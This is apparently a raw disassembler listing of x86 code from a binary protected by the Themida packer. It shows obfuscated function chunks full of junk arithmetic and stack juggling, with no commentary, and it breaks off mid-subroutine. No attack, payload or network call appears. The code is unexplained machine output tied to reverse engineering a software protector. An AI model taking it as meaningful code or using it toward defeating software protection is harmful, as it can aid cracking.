		mov	ecx, [esp-8+arg_4]
		add	esp, 4
		push	ecx
		push	edx
		push	ebp
		push	288E08A1h
		pop	ebp
		not	ebp
		jmp	loc_572EB8
; END OF FUNCTION CHUNK	FOR sub_5666C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_566808:				; CODE XREF: sub_574304-376Aj
		push	6F7368D4h
		mov	eax, [esp+18h+var_18]
		add	esp, 4
		dec	eax
		neg	eax
		xor	eax, 0CCF3B071h
		mov	ecx, eax
		pop	eax
		jmp	loc_560B30
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5735AA


loc_566823:				; CODE XREF: sub_5735AA-C5E9j
		xchg	ebp, [esp+0]
		mov	esp, [esp+0]
		sub	esp, 4
		mov	[esp+4+var_4], eax
		jmp	sub_570F82
; ---------------------------------------------------------------------------


loc_566837:				; CODE XREF: sub_5735AA-E402j
		pop	esi
		jmp	loc_566F9D
; END OF FUNCTION CHUNK	FOR sub_5735AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574F16


loc_56683D:				; CODE XREF: sub_574F16-E5BCj
		push	ecx
		mov	cl, bh
		mov	al, cl
		jmp	loc_56F860
; END OF FUNCTION CHUNK	FOR sub_574F16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56241E


loc_566847:				; CODE XREF: sub_56241E+11474j
		add	dx, 472Ah
		add	dx, 5633h
		mov	ax, word ptr [esp+8+var_8]
		add	esp, 2
		sub	esp, 2
		mov	word ptr [esp+8+var_8],	di
		mov	di, 7976h
		sub	ax, 77ACh
		add	ax, di
		push	esi
		jmp	loc_56C667
; END OF FUNCTION CHUNK	FOR sub_56241E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569AB3


loc_566873:				; CODE XREF: sub_569AB3-60EEj
		add	esp, 4
		pop	[esp+0Ch+var_C]
		pop	esp
		jmp	loc_56DF77
; END OF FUNCTION CHUNK	FOR sub_569AB3

; =============== S U B	R O U T	I N E =======================================



sub_566882	proc near		; DATA XREF: Themida_:0055FD54o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056F11E SIZE 00000014 BYTES

		mov	cx, [esp+0]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_56F11E
sub_566882	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_56689A:				; CODE XREF: sub_574656-7486j
		mov	edx, [esp+8+var_8]
		jmp	loc_571C8B
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_5668A2:				; CODE XREF: sub_57354D-95A2j
		xor	ebp, ecx
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		sub	eax, 70F5A67h
		add	eax, ebp
		add	eax, 70F5A67h
		pop	ebp
		sub	eax, 4
		jmp	loc_56D7EC
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56351E


loc_5668C4:				; CODE XREF: sub_56351E+F02Fj
		sub	ebp, ecx
		pop	ecx
		add	ecx, ebp
		pop	ebp
		xor	ecx, [esp+0]
		xor	[esp+0], ecx
		xor	ecx, [esp+0]
		jmp	loc_572D00
; END OF FUNCTION CHUNK	FOR sub_56351E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C38F


loc_5668D8:				; CODE XREF: sub_56C38F-9507j
		mov	ebx, 0
		push	241h
		mov	[esp+4+var_4], ebp
		mov	ebp, 67A42300h
		sub	ebx, ebp
		pop	ebp
		add	ebx, eax
		jmp	loc_566CED
; END OF FUNCTION CHUNK	FOR sub_56C38F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_5668F4:				; CODE XREF: sub_5678CB+3905j
		push	edx
		jmp	loc_571A0D
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566C83


loc_5668FA:				; CODE XREF: sub_566C83-4B63j
		add	esp, 4
		sub	ebx, 7160765h
		sub	ebx, esi
		push	esi
		jmp	loc_56A1AE
; END OF FUNCTION CHUNK	FOR sub_566C83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_56690B:				; CODE XREF: sub_574304-4902j
		pop	ebp
		jmp	loc_56E1AE
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5733CA


loc_566911:				; CODE XREF: sub_5733CA-10B54j
		xchg	ecx, [esp+0]
		jmp	loc_560B9A
; END OF FUNCTION CHUNK	FOR sub_5733CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_566919:				; CODE XREF: sub_563A7F+CD20j
		add	dl, 12h
		sub	dl, 0DFh
		sub	dl, cl
		add	dl, 0DFh
		sub	dl, 12h
		jmp	loc_561C19
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570C6A


loc_56692C:				; CODE XREF: sub_570C6A-16FCj
		push	[esp+4+var_4]
		pop	ebp
		jmp	loc_5657D6
; END OF FUNCTION CHUNK	FOR sub_570C6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5680AC


loc_566935:				; CODE XREF: sub_5680AC+6F48j
		add	ebx, edx
		mov	edx, [esp+0]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_562652
; END OF FUNCTION CHUNK	FOR sub_5680AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574F16


loc_56694D:				; CODE XREF: sub_574F16-2A2Bj
		mov	bh, 0ABh
		push	ebx
		mov	bh, 98h
		push	293Eh
		mov	[esp+0Ah+var_A], eax
		jmp	loc_56683D
; END OF FUNCTION CHUNK	FOR sub_574F16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_56695F:				; CODE XREF: sub_564D26+7FC9j
		add	ecx, ebp
		pop	ebp
		add	ecx, 4
		xchg	ecx, [esp+14h+var_14]
		pop	esp
		push	ebp
		mov	ebp, 271D0A46h
		xor	edx, ebp
		pop	ebp
		jmp	loc_561FA4
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_56697A:				; CODE XREF: sub_57354D-DBE1j
		push	edx
		pop	eax
		pop	edx
		xor	edx, eax
		xor	eax, edx
		jmp	loc_56CBFB
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_566986:				; CODE XREF: sub_561027+B4C7j
		pop	ecx
		push	71E2h
		mov	[esp+14h+var_14], edi
		jmp	loc_56254A
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5648C6


loc_566994:				; CODE XREF: sub_5648C6+10044j
		add	eax, 2BD7774Ah
		dec	eax
		xor	eax, 4D0E5F74h
		jmp	loc_56E2E0
; END OF FUNCTION CHUNK	FOR sub_5648C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571C93


loc_5669A4:				; CODE XREF: sub_571C93-52CEj
		add	edx, 4
		xchg	edx, [esp+4+var_4]
		jmp	loc_5627E1
; END OF FUNCTION CHUNK	FOR sub_571C93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_5669B2:				; CODE XREF: sub_56B06D-13EAj
		pop	edi
		pop	[esp+18h+var_18]
		add	[esp+14h+var_14], 4
		mov	esi, [esp+14h+var_14]
		add	esp, 4
		sub	esp, 4
		jmp	loc_56B377
; END OF FUNCTION CHUNK	FOR sub_56B06D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56657A


loc_5669CE:				; CODE XREF: sub_56657A+11D9j
		mov	[esp+0Ch+var_C], eax
		mov	eax, 56380662h
		jmp	loc_56CBD5
; END OF FUNCTION CHUNK	FOR sub_56657A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_5669DB:				; CODE XREF: sub_571F6F-1A0Dj
		push	6B83h
		mov	[esp+8+var_8], edx
		mov	dh, 2Fh
		jmp	loc_56382C
; END OF FUNCTION CHUNK	FOR sub_571F6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5620B7


loc_5669EA:				; CODE XREF: sub_5620B7+9042j
		add	edx, esi
		jmp	loc_56FB51
; END OF FUNCTION CHUNK	FOR sub_5620B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_5669F1:				; CODE XREF: sub_570732-E4B9j
		push	eax
		mov	eax, 37443EA8h
		sub	edx, 1B5A38C9h
		add	edx, eax
		add	edx, 1B5A38C9h
		pop	eax
		sub	edx, 58A1139Fh
		inc	edx
		sub	edx, 624D105Fh
		add	ebp, edx
		jmp	loc_56FDF5
; END OF FUNCTION CHUNK	FOR sub_570732
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_566A1A:				; CODE XREF: sub_571088-2526j
		add	al, 0C3h
		sub	al, 3Fh
		push	cx
		mov	ch, 71h
		jmp	loc_56F0EB
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57523A


loc_566A27:				; CODE XREF: sub_57523A-10AF9j
		sub	edi, ecx
		jmp	loc_5730DA
; END OF FUNCTION CHUNK	FOR sub_57523A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B1DC


loc_566A2E:				; CODE XREF: sub_56B1DC+3j
		push	eax
		sub	esp, 4
		mov	[esp+8+var_8], esp
		jmp	loc_57317E
; END OF FUNCTION CHUNK	FOR sub_56B1DC
; ---------------------------------------------------------------------------


loc_566A3A:				; CODE XREF: Themida_:00570204j
		add	edx, ebx
		jmp	loc_56DE44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B1DC


loc_566A41:				; CODE XREF: sub_56B1DC-A2A3j
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		push	[esp-4+arg_0]
		push	dword ptr [esp+0]
		mov	eax, [esp+4+var_4]
		jmp	loc_5754A2
; END OF FUNCTION CHUNK	FOR sub_56B1DC
; ---------------------------------------------------------------------------


loc_566A55:				; CODE XREF: Themida_:0056E3F0j
		xchg	esi, [esp]
		jmp	loc_565112
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B1DC


loc_566A5D:				; CODE XREF: sub_56B1DC-298Ej
		shl	ebx, 4
		jmp	loc_5693A1
; END OF FUNCTION CHUNK	FOR sub_56B1DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566400


loc_566A65:				; CODE XREF: sub_566400-1B9j
		add	esp, 4
		sub	eax, 245C24C6h
		add	eax, ebx
		jmp	loc_562E98
; END OF FUNCTION CHUNK	FOR sub_566400
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566117


loc_566A74:				; CODE XREF: sub_566117+7C38j
		add	ebx, edi
		push	ecx
		push	452Ah
		mov	[esp+14h+var_14], ebp
		jmp	loc_568146
; END OF FUNCTION CHUNK	FOR sub_566117
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574AF3


loc_566A84:				; CODE XREF: sub_574AF3+7j
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 4
		jmp	loc_567037
; END OF FUNCTION CHUNK	FOR sub_574AF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F782


loc_566A96:				; CODE XREF: sub_56F782-B3BEj
		push	eax
		mov	eax, esp
		jmp	sub_575328
; END OF FUNCTION CHUNK	FOR sub_56F782
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FCD7


loc_566A9E:				; CODE XREF: sub_56FCD7-811Ej
		sub	ebp, 4
		xchg	ebp, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], edx
		jmp	loc_561EF3
; END OF FUNCTION CHUNK	FOR sub_56FCD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_566AB0:				; CODE XREF: sub_574304-13E8j
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	[esp+8+var_4]
		pop	ebp
		pop	[esp+8+var_8]
		jmp	loc_56A865
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA15


loc_566ACB:				; CODE XREF: sub_56FA15+5941j
		pop	esp
		add	al, 37h
		add	al, bl
		jmp	loc_567AAD
; END OF FUNCTION CHUNK	FOR sub_56FA15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5634AF


loc_566AD5:				; CODE XREF: sub_5634AF+1122j
		push	edi
		mov	edi, 70456D7Bh
		xor	esi, edi
		pop	edi
		push	esi
		inc	[esp+4+var_4]
		pop	esi
		shr	esi, 6
		sub	esi, 0F78921D5h
		jmp	loc_56C11D
; END OF FUNCTION CHUNK	FOR sub_5634AF

; =============== S U B	R O U T	I N E =======================================



sub_566AF1	proc near		; DATA XREF: Themida_:0055FDDCo
		push	dword ptr [edi+2Ch]
		jmp	loc_55FF9F
sub_566AF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_566AF9	proc near		; DATA XREF: Themida_:0055FED0o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 005604F2 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00560536 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00561810 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00564259 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00564449 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00564BA3 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00569125 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005695B8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056BFE7 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056C6F8 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0056F59C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00574A9A SIZE 0000000A BYTES

		mov	cx, [esp+0]
		push	ebp
		push	esp
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		push	edx
		jmp	loc_56F59C
sub_566AF9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572DD7


loc_566B0E:				; CODE XREF: sub_572DD7-9D1Fj
		mov	esi, 11F36176h
		xor	esi, 7FC631AAh
		add	esi, 91CAAF28h
		add	edi, esi
		jmp	loc_5728A1
; END OF FUNCTION CHUNK	FOR sub_572DD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_566B26:				; CODE XREF: sub_574304+40Dj
		push	ecx
		jmp	loc_560EB8
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561F05


loc_566B2C:				; CODE XREF: sub_561F05-AD5j
		push	esi
		mov	esi, 5E17401Dh
		jmp	loc_571482
; END OF FUNCTION CHUNK	FOR sub_561F05

; =============== S U B	R O U T	I N E =======================================



sub_566B37	proc near		; CODE XREF: sub_56D455-7A28j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00560385 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00562B6D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056518D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005670F8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056855F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00568E99 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00572D08 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00574343 SIZE 00000008 BYTES

		push	ebp
		push	edx
		mov	edx, 72997EABh
		mov	ebp, edx
		pop	edx
		or	eax, ebp
		jmp	loc_562B6D
sub_566B37	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CC46


loc_566B48:				; CODE XREF: sub_56CC46-C165j
		mov	[esp+0], eax
		jmp	loc_567072
; END OF FUNCTION CHUNK	FOR sub_56CC46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574F16


loc_566B50:				; CODE XREF: sub_574F16-DBADj
		xor	cl, dh
		xor	dh, cl
		xor	cl, dh
		dec	cl
		push	edx
		mov	dl, 0F1h
		xor	cl, dl
		pop	edx
		and	dl, cl
		pop	ecx
		push	small 0
		add	byte ptr [esp+6+var_6],	0F9h
		sub	byte ptr [esp+6+var_6],	dl
		jmp	loc_57400C
; END OF FUNCTION CHUNK	FOR sub_574F16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569193


loc_566B71:				; CODE XREF: sub_569193-17D2j
		mov	[esp+10h+var_10], edi
		jmp	loc_56E916
; END OF FUNCTION CHUNK	FOR sub_569193

; =============== S U B	R O U T	I N E =======================================



sub_566B79	proc near		; CODE XREF: sub_563ADF+FED0j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00562541 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00564905 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056EEE7 SIZE 0000001A BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, 4
		sub	dword ptr [esp+4], 6D251A85h
		jmp	loc_56EEE7
sub_566B79	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574A21


loc_566B94:				; CODE XREF: sub_574A21-C104j
		mov	ecx, eax
		pop	eax
		jmp	loc_56838D
; END OF FUNCTION CHUNK	FOR sub_574A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572075


loc_566B9C:				; CODE XREF: sub_572075-F9C4j
		pop	[esp+8+var_8]
		pop	esp
		jmp	loc_571ADA
; END OF FUNCTION CHUNK	FOR sub_572075
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_566BA5:				; CODE XREF: sub_57354D-3E4Aj
		push	ecx
		mov	ecx, 411A527Ch
		jmp	loc_56B4E5
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5734A7


loc_566BB0:				; CODE XREF: sub_5734A7-82A6j
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		add	edi, 4
		push	3B02h
		mov	[esp+14h+var_14], edi
		push	[esp+14h+var_10]
		jmp	loc_56676E
; END OF FUNCTION CHUNK	FOR sub_5734A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BD44


loc_566BCD:				; CODE XREF: sub_56BD44-8D60j
		add	esp, 4
		jmp	loc_56068D
; END OF FUNCTION CHUNK	FOR sub_56BD44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571C0A


loc_566BD8:				; CODE XREF: sub_571C0A-9A5j
		sub	edx, 38290EA0h
		add	edx, edi
		add	edx, 38290EA0h
		xor	[edx], ecx
		push	[esp+8+var_8]
		pop	edx
		push	edi
		jmp	loc_568F03
; END OF FUNCTION CHUNK	FOR sub_571C0A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569DB5


loc_566BF2:				; CODE XREF: sub_569DB5+76B3j
		add	ecx, 4
		push	edx
		jmp	loc_572470
; END OF FUNCTION CHUNK	FOR sub_569DB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_566BFE:				; CODE XREF: sub_571088-61CBj
		add	esp, 4
		jmp	loc_566DE6
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5713A7


loc_566C09:				; CODE XREF: sub_5713A7+1532j
		add	edx, edi
		push	ecx
		jmp	loc_5618F3
; END OF FUNCTION CHUNK	FOR sub_5713A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_566C11:				; CODE XREF: sub_571F6F-8F64j
		add	esp, 4
		add	bl, 4Ah
		jmp	loc_572A65
; END OF FUNCTION CHUNK	FOR sub_571F6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5684A6


loc_566C1C:				; CODE XREF: sub_5684A6-73ADj
		add	[esp+8+var_8], 4
		mov	esi, [esp+8+var_8]
		add	esp, 4
		sub	esp, 4
		mov	[esp+8+var_8], ecx
		jmp	loc_560232
; END OF FUNCTION CHUNK	FOR sub_5684A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568646


loc_566C3A:				; CODE XREF: sub_568646+CD16j
		mov	cl, 0D6h
		xor	cl, 12h
		mov	al, cl
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		sub	cl, al
		pop	eax
		mov	dl, cl
		pop	ecx
		jmp	loc_56ED17
; END OF FUNCTION CHUNK	FOR sub_568646
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D31


loc_566C55:				; CODE XREF: sub_567D31+A8A0j
		add	esp, 4
		push	edx
		push	esp
		mov	edx, [esp+0]
		add	esp, 4
		jmp	sub_564D26
; END OF FUNCTION CHUNK	FOR sub_567D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_566C6B:				; CODE XREF: sub_564D26+7B71j
		pop	ecx
		shl	edx, 4
		or	edx, 6F1E5F53h
		push	55F7h
		mov	[esp+18h+var_18], ecx
		push	ebp
		jmp	loc_5658B0
; END OF FUNCTION CHUNK	FOR sub_564D26

; =============== S U B	R O U T	I N E =======================================



sub_566C83	proc near		; CODE XREF: sub_56D1DD-8A3Dj

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00560007 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00560655 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00560BC7 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056211C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005629E1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005630D8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005668FA SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00566E28 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00568AD9 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00569385 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056A1AE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056A763 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056AD9B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056B3FD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00571011 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00572C7C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005741C9 SIZE 00000012 BYTES

		push	ebx
		mov	ebx, 2EAF1D22h
		xor	ebx, 3A0701A0h
		or	ebx, 627E5893h
		add	ebx, 9F7BCFC3h
		sub	ebp, ebx
		jmp	loc_569385
sub_566C83	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C38F


loc_566CA2:				; CODE XREF: sub_56C38F-5692j
		push	41A7h
		jmp	loc_56F790
; END OF FUNCTION CHUNK	FOR sub_56C38F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569DB5


loc_566CAC:				; CODE XREF: sub_569DB5-7313j
		add	[esp+8+var_4], ebx
		jmp	loc_563197
; END OF FUNCTION CHUNK	FOR sub_569DB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_566CB5:				; CODE XREF: sub_57354D-8376j
		add	esi, 4
		push	ebp
		push	56B5h
		mov	[esp+10h+var_10], ecx
		jmp	loc_56AD2E
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570B3C


loc_566CC9:				; CODE XREF: sub_570B3C-73F1j
		push	17D1h
		mov	[esp+0], ebx
		jmp	loc_56D7C5
; END OF FUNCTION CHUNK	FOR sub_570B3C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572DD7


loc_566CD6:				; CODE XREF: sub_572DD7-127j
		push	edx
		push	eax
		push	7214131Dh
		jmp	loc_568A25
; END OF FUNCTION CHUNK	FOR sub_572DD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569CBC


loc_566CE2:				; CODE XREF: sub_569CBC+B24Aj
		add	ebx, 4
		jmp	sub_560457
; END OF FUNCTION CHUNK	FOR sub_569CBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C38F


loc_566CED:				; CODE XREF: sub_56C38F-5AA0j
		push	2409h
		mov	[esp+4+var_4], edx
		mov	edx, 67A42300h
		add	ebx, edx
		pop	edx
		jmp	loc_566CA2
; END OF FUNCTION CHUNK	FOR sub_56C38F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5722C8


loc_566D02:				; CODE XREF: sub_5722C8+7C2j
		mov	ecx, 4
		add	edi, ecx
		jmp	loc_56D503
; END OF FUNCTION CHUNK	FOR sub_5722C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C4FF


loc_566D0E:				; CODE XREF: sub_56C4FF-BCC0j
		sub	edx, 6C3E1462h
		mov	ecx, edx
		jmp	loc_571C75
; END OF FUNCTION CHUNK	FOR sub_56C4FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5713A7


loc_566D1B:				; CODE XREF: sub_5713A7+91Bj
		add	edx, eax
		jmp	loc_56D244
; END OF FUNCTION CHUNK	FOR sub_5713A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_566D22:				; CODE XREF: sub_5685B2+99D3j
		mov	ebp, [esp-4+arg_0]
		jmp	loc_56C028
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_566D2A:				; CODE XREF: sub_5678CB+3050j
		mov	ax, word ptr [esp+0Ah+var_A]
		push	ebx
		jmp	loc_56CE33
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_566D34:				; CODE XREF: sub_5605BC+39C7j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+28h+var_28]
		jmp	loc_569C42
; END OF FUNCTION CHUNK	FOR sub_5605BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D464


loc_566D4A:				; CODE XREF: sub_56D464+39E8j
		push	31CCh
		jmp	loc_56A486
; END OF FUNCTION CHUNK	FOR sub_56D464
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568E5C


loc_566D54:				; CODE XREF: sub_568E5C+A6ECj
		neg	ebx
		sub	ebx, 20804204h
		add	edx, ebx
		pop	ebx
		sub	edx, 0B519BB1Dh
		mov	edi, edx
		jmp	loc_5714E0
; END OF FUNCTION CHUNK	FOR sub_568E5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566117


loc_566D6C:				; CODE XREF: sub_566117-43j
		add	ebx, ecx
		jmp	loc_569BC4
; END OF FUNCTION CHUNK	FOR sub_566117
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5738F4


loc_566D73:				; CODE XREF: sub_5738F4-68E7j
		add	edi, 404A0B2Ah
		jmp	loc_5612AD
; END OF FUNCTION CHUNK	FOR sub_5738F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569AB3


loc_566D7E:				; CODE XREF: sub_569AB3+AC44j
		push	dword ptr [edi+24h]
		push	5FF8h
		mov	[esp+0Ch+var_C], ebp
		push	edi
		push	ebp
		push	5FA2h
		mov	[esp+18h+var_18], esp
		add	[esp+18h+var_18], 4
		jmp	loc_56AE6B
; END OF FUNCTION CHUNK	FOR sub_569AB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572D45


loc_566D9F:				; CODE XREF: sub_572D45+109Fj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		add	ebx, esi
		push	[esp+4+var_4]
		pop	esi
		add	esp, 4
		add	ebx, 2
		jmp	loc_5705A9
; END OF FUNCTION CHUNK	FOR sub_572D45

; =============== S U B	R O U T	I N E =======================================



sub_566DC7	proc near		; CODE XREF: sub_56D3B7-76E1j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005607B8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00562EE4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00563CB9 SIZE 00000022 BYTES
